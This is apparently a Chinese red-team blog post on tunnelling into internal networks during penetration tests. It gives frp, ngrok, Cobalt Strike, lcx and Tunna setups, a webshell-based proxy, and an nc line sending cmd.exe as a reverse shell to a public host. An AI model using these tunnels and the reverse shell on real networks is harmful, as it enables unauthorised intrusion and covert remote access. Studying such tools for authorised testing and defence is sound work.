连长 's Blog

安全、渗透、红蓝对抗。潜心研究、切勿浮躁。{写什么PHP/Python/Java? 转GO多好!}

内网渗透测试快速穿透内网指南。

工具类 0 评

0x01 说明

内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。内网穿透分了N种,这里我们只介绍快速简单高效的穿透工具,并且简单说明下穿透工具的使用方法,给各位师傅可补充建议。

0x02 FRP穿透

说明

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp分客户端和服务端,服务器只开放端口让别人客户端连接进来并且提供穿透的协议,架构如下:

使用方法

frp分 frps和frpc,frps是服务端必须放在有公网的机器上frpc是客户端运行在被控制端上面。
frps.exe 对应的 配置文件是frps.ini
frpc.exe 对应的 配置文件是frpc.ini
具体参照官方解释说明:
[https://github.com/fatedier/frp/blob/master/README_zh.md
](https://github.com/fatedier/frp/blob/master/README_zh.md)

转发socks5

一下是我的客户端配置文件,测试可用。
服务端配置:

[common]
bind_addr = 0.0.0.0
bind_port = 7000
bind_udp_port = 7001
token = mytokenpasswrod
max_pool_count = 50

# 一下是选择配置
# Dashboard通过浏览器查看 frp 的状态以及代理统计信息展示。
dashboard_addr = 0.0.0.0
dashboard_port = 7500
dashboard_user = Funk
dashboard_pwd = Funk123
#日志记录
#log_file = ./frps.log
#log_level = info
#log_max_days = 1

客户端配置:

[common]
server_addr = 你的服务端IP
server_port = 7000
tls_enable = true # true 开启 TLS 协议加密传输 启用此功能后除 xtcp 外,不需要再设置 use_encryption。
pool_count = 40
token = mytokenpasswrod
[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = allsec
plugin_passwd = mysockspassword
# use_encryption = true  # 开启加密功能绕过防火墙
use_compression = true # 开启压塑功能 压缩算法使用 snappy

# Admin UI 可以帮助用户通过浏览器来查询和管理客户端的 proxy 状态和配置。
# admin_addr = 0.0.0.0
# admin_port = 7400
# admin_user = admin
# admin_pwd = admin

0x02 Ngrok 穿透

说明

ngrok目前支持自建的开源版本是1.x版,这个版本的话怎么说呢,除了有内存、文件描述符泄漏的蛋疼BUG外(作者是这么说的),其实还是能用的,作者自己又搞了个2.x版本,不过不开源而是在自己的ngrok.com上用,不过么……这个貌似在国内访问貌似有问题来着,所以么,要么用公开的ngrok服务器,要么就是自己搭。本次我们介绍的就是自己搭(1.x版)比较蛋疼,不过这有好处也有坏处,好处就是可用付费采用其他人的ngrok服务器,坏处就是搭建一次太费劲了,让你怀疑人生。。。。。。

安装配置

因为ngrok也是用Go写的,所以需要安装Go,这里是为了稳妥配置了环境变量,你也可以试试直接通过yum来安装,我懒得试了

yum groupinstall "Development tools" -y
 
wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
tar xzf go1.8.3.linux-amd64.tar.gz -C /usr/local
mkdir /usr/local/gopackage
 
vi /etc/profile
#在profile中加入下面的环境变量,PATH如果原来就有请自行合并
GOROOT=/usr/local/go
GOPATH=/usr/local/gopackage
PATH=$PATH:$GOROOT/bin:$GOPATH/bin
export GOROOT GOPATH PATH
 
source /etc/profile
 
git <span class="hljs-built_in">clone</span> https://github.com/inconshreveable/ngrok.git ngrok
cd ngrok
 
#然后我们生成下新的证书替换默认的,最后的cp选y来覆盖
NGROK_DOMAIN="ngrok.miku.one"
 
openssl genrsa -out base.key 2048
openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem
openssl genrsa -out server.key 2048
openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt
 
cp base.pem assets/client/tls/ngrokroot.crt
 
make release-server release-client

OK,如果没有报错的话你会在bin目录下看到服务端和客户端的可执行文件了,还有个go-bindata不知道有啥用,别管它了

./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="ngrok.miku.one" -httpAddr=":8081" -httpsAddr=":8082" -tunnelAddr=":4443"

这样就把服务端跑起来了
好了,之前生成了Linux下的客户端,很多情况下我们用的是Windows或者macOS,这就需要我们编译其它平台的客户端了

#编译Mac的客户端
GOOS=darwin GOARCH=amd64 make release-client
 
#编译Windows的客户端
GOOS=windows GOARCH=amd64 make release-client

在bin下会多出文件夹,里面就是你的客户端了,这样我们就能继续了

这俩是ngrok的客户端,一个是c写的,一个是Python写的,适用于特定环境(比如路由器这种存储空间很小,尽量节省资源啥的)
https://github.com/dosgo/ngrok-c
https://github.com/hauntek/python-ngrok
总体来说做渗透测试不推荐使用。。等你吧服务都装完了别人都日完了。。。。

0x03 Cobalt Strike

CobaltStrike是一款快速内网横向移动的工具,当然也提供内网穿透的效果。
-w447
也是非常简单一条命令开启。可惜是SOCKS4代理。
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server

0x04 杂项各种穿透

摘取网上的!

LCX

lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,

Windows版使用方法如下:

lcx有两大功能:

1)端口转发(listen和slave成对使用)
2)端口映射(tran)

内网端口转发:
服务端:
lcx.exe –listen 4444 5555
客户端:
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389

nc 反弹

nc使用方法:

反向连接
在公网主机上进行监听:
服务器端:
nc -lvp 4444
客户端:
nc -t -e cmd.exe 公网主机ip 4444

reGeorg

使用方法(详见github):

Tunna

使用方法(详见github):
该工具使用的先决条件:
能够在远程服务器上上传webshell

使用方法:
python proxy.py -u <remoteurl> -l <localport> [options]
options:

--help, -h 显示此帮助信息并退出

--url=URL, -u URL 为远程webshel​​l的URL

--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口

--verbose, -v 详细(输出数据包大小)

--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)

No SOCKS Options:
如果使用SOCKS代理,选项将被忽略

--no-socks, -n 不使用 Socks 代理

--rport=REMOTE_PORT, -r    REMOTE_PORT远程服务端口,供webshel​​l连接

--addr=REMOTE_IP, -a REMOTE_IP 远程webshel​​l连接到的地址(默认为 127.0.0.1)

上游代理选项:
通过本地代理进行隧道连接

--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)

--auth, -A 上游代理需要认证

高级选项:

--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)

--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)

--cookie, -C 请求cookies

--authentication, -t 基本认证

使用方法示例:
内网主机为Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v

0x05 总结

目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,一般推荐frp穿透和cs穿透,不过cs穿透无法加密,可能会被某些防火墙识别流量,使用Tunna的话又不稳定,一般是只有shell的环境或者是权限比较极端的时候才会选用,不过Tunna也有弊端。
参考链接:
https://www.freebuf.com/articles/web/170970.html
https://github.com/sensepost/reGeorg
https://github.com/SECFORCE/Tunna
https://github.com/inconshreveable/ngrok/releases
https://github.com/fatedier/frp
https://www.lianzhang.org

黑阔的自建中转轻松玩落地隐藏行踪+出国留学
发表评论
撰写评论